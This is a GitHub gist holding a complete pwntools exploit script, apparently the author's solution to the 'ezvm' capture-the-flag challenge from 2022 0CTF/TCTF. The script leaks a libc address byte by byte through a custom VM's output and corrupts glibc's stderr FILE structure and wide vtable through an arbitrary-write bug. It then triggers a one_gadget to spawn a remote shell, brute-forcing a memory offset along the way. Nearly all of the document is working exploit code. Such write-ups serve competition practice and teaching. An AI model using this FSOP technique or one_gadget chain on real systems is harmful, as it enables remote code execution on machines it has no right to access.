Created
September 19, 2022 11:34
-
-
Save xf1les/970e3ceb7afd93c9198fe5fcc818d829 to your computer and use it in GitHub Desktop.
My solution for ezvm (2022 0CTF/TCTF)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from pwn import * | |
import warnings | |
warnings.filterwarnings("ignore", category=BytesWarning) | |
context(arch="amd64", log_level="debug") | |
p = None | |
p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) | |
p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x) | |
BF_OFFSET = 0 | |
######################################################################## | |
class VMCODE(): | |
def __init__(self): | |
self.CODE = b'' | |
self.IP = 0 | |
def store(self, dst, src): | |
self.IP += 1 + 1 + 8 | |
self.CODE += p8(22) + p8(dst) + p64(src) | |
#### [BUG] arbitrary offset write #### | |
def load(self, dst, src): | |
self.IP += 1 + 1 + 8 | |
self.CODE += p8(21) + p8(src) + p64(dst) | |
def store_imn(self, dst, imn): | |
self.IP += 1 + 1 + 8 | |
self.CODE += p8(20) + p8(dst) + p64(imn) | |
def push(self, dst): | |
self.IP += 1 + 1 | |
self.CODE += p8(0) + p8(dst) | |
def pop(self, dst): | |
self.IP += 1 + 1 | |
self.CODE += p8(1) + p8(dst) | |
def right_shift(self): | |
self.IP += 1 | |
self.CODE += p8(8) | |
def _and(self): | |
self.IP += 1 | |
self.CODE += p8(9) | |
def sub(self): | |
self.IP += 1 | |
self.CODE += p8(3) | |
def jz(self, off): | |
self.IP += 1 + 8 | |
self.CODE += p8(16) + p64(off) | |
def jnz(self, off): | |
self.IP += 1 + 8 | |
self.CODE += p8(15) + p64(off) | |
def jmp(self, off): | |
self.IP += 1 + 8 | |
self.CODE += p8(14) + p64(off, signed=1) | |
def bad(self): | |
self.IP += 1 | |
self.CODE += p8(0xff) | |
def ret(self): | |
self.IP += 1 | |
self.CODE += p8(23) | |
def vm_run(mem_sz, code): | |
global p | |
p.sendline("yes") | |
p_sl(len(code)+1, "Please input your code size:") | |
p_sl(mem_sz, "Please input your memory count:") | |
p_sl(code, "Please input your code:") | |
def leak_byte(pos): | |
global p | |
c = VMCODE() | |
# save main_arena address to MEM[0] | |
c.store(0, 0) | |
# leak one byte, then save leaked byte to MEM[1] | |
# MEM[1] = (MEM[0] >> pos * 8) & 0xFF | |
c.push(0) | |
c.store_imn(0, pos * 8) | |
c.push(0) | |
c.right_shift() | |
c.store_imn(0, 0xff) | |
c.push(0) | |
c._and() | |
c.store_imn(0, 1) | |
# LOOP | |
# check if MEM[1] == 0 | |
c.pop(1) | |
c.push(1) | |
c.jnz(1) | |
c.ret() # quit if MEM[1] == 0 | |
# print "what???" | |
c.bad() | |
# MEM[1]-- | |
c.push(1) | |
c.push(0) | |
c.sub() | |
c.jmp(-29) # jmp to LOOP | |
vm_run(0x100, c.CODE) | |
d = p.recvuntil("finish!") | |
return d.count(b"what???") # the times of "what???" string printed will be equal to the leaked byte | |
def main(): | |
global BF_OFFSET, p | |
p = remote("202.120.7.210", "40241") | |
# ~ p = process("./ezvm") | |
#################################################### | |
### Stage 1: send a 0x800 chunk to unsorted bin ### | |
#################################################### | |
vm_run(0x100, p8(23) * 77) | |
#################################################### | |
### Stage 2: leak libc address from unsorted bin ### | |
#################################################### | |
context(log_level="error") | |
addr = 0 | |
for i in range(7): | |
addr <<= 8 | |
addr += leak_byte(6-i) | |
context(log_level="debug") | |
libcbase = addr - 0x219ce0 | |
p.success("libcbase 0x%lx", libcbase) | |
libc_os = lambda x : libcbase + x | |
############################### | |
### Stage 3: Corrupt stderr ### | |
############################### | |
LIBC_OFF = 0x200ff0 + BF_OFFSET # the offset from mmap memory to libc.so.6 memory | |
STDERR = 0x21a6a0 | |
STDERR_OFF = LIBC_OFF + STDERR | |
FAKE_WIDE_VTABLE = 0x2205b0 | |
FAKE_WIDE_VTABLE_OFF = LIBC_OFF + FAKE_WIDE_VTABLE | |
## Found by https://github.com/xf1les/fsop-finder | |
## 2.35-0ubuntu3.1 | |
# 3. sub_860b0@0x860b0 -> _IO_wdoallocbuf@0x83bf0 | |
# 0x861cd: call(0x83bf0) | |
# RIP/RDI DATAFLOW: | |
# rbx = rdi -> rdi = rbx -> call(0x83bf0) | |
# RBP DATAFLOW: | |
# rbp = [rdi + 0x98].q | |
# CODE PATH: | |
# eax = [rdi].d | |
# => [condition] (al & 4) == 0 | |
# rax = [rdi + 0xa0].q | |
# rdx = [rax].q | |
# => [condition] rdx u>= [rax + 8].q | |
# rdx = [rdi + 8].q | |
# => [condition] rdx u< [rdi + 0x10].q | |
# rdi = [rax + 0x40].q | |
# => [condition] rdi == 0 | |
# 0x83c1b: call([rax + 0x68].q) | |
# RIP/RDI DATAFLOW: | |
# rax = [rdi + 0xa0].q -> rax = [rax + 0xe0].q -> call([rax + 0x68].q) | |
# RBP DATAFLOW: | |
# (N/A) | |
# CODE PATH: | |
# rax = [rdi + 0xa0].q | |
# => [condition] [rax + 0x30].q == 0 | |
# => [condition] ([rdi].b & 2) == 0 | |
# ([0x216020] is the location of sub_860b0 in __libc_IO_vtables) | |
c = VMCODE() | |
c.store_imn(0, 0) | |
c.store_imn(1, 1) | |
c.load(STDERR_OFF//8, 0) # stderr->flags = 0 | |
c.load((STDERR_OFF+0x10)//8, 1) # stderr->_IO_read_end = 1 | |
c.load((STDERR_OFF+0x28)//8, 1) # stderr->_IO_write_base = 1 | |
c.store_imn(0, libc_os(0x216020-0x18)) | |
c.load((STDERR_OFF+0xd8)//8, 0) # stderr->vtable = &(_IO_wfile_jumps_mmap+32)-0x18 | |
c.store_imn(0, libc_os(FAKE_WIDE_VTABLE-0x68)) | |
c.load((LIBC_OFF+0x219980)//8, 0) # _IO_wide_data_1->_wide_vtable | |
c.load((STDERR_OFF+0x98)//8, 0) # rbp (stderr->_codecvt), required by one gadget | |
# 0xebcf5 execve("/bin/sh", r10, rdx) | |
# constraints: | |
# address rbp-0x78 is writable | |
# [r10] == NULL || r10 == NULL | |
# [rdx] == NULL || rdx == NULL | |
c.store_imn(0, libc_os(0xebcf5)) | |
c.load((FAKE_WIDE_VTABLE_OFF)//8, 0) # one gadget | |
vm_run(0x2000000000040001, c.CODE) | |
################################################ | |
### Stage 4: trigger FSOP to call one gadget ### | |
################################################ | |
# exit() -> _IO_cleanup() -> _IO_flush_all_lockp() -> _IO_wfile_underflow_mmap() -> _IO_wdoallocbuf() | |
p_sl("bye bye", "continue?") | |
print(">>>>> GOT SHELL!!! <<<<<<") | |
p.interactive() | |
# bruteforcing the offset between mmap memory and libc.so.6 memory | |
times = 100 | |
while times >= 0: | |
times -= 1 | |
try: | |
BF_OFFSET += 0x1000 | |
main() | |
except KeyboardInterrupt: | |
break | |
except Exception as e: | |
print(e) | |
try: | |
p.close() | |
except: | |
pass | |
p = None | |
continue |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment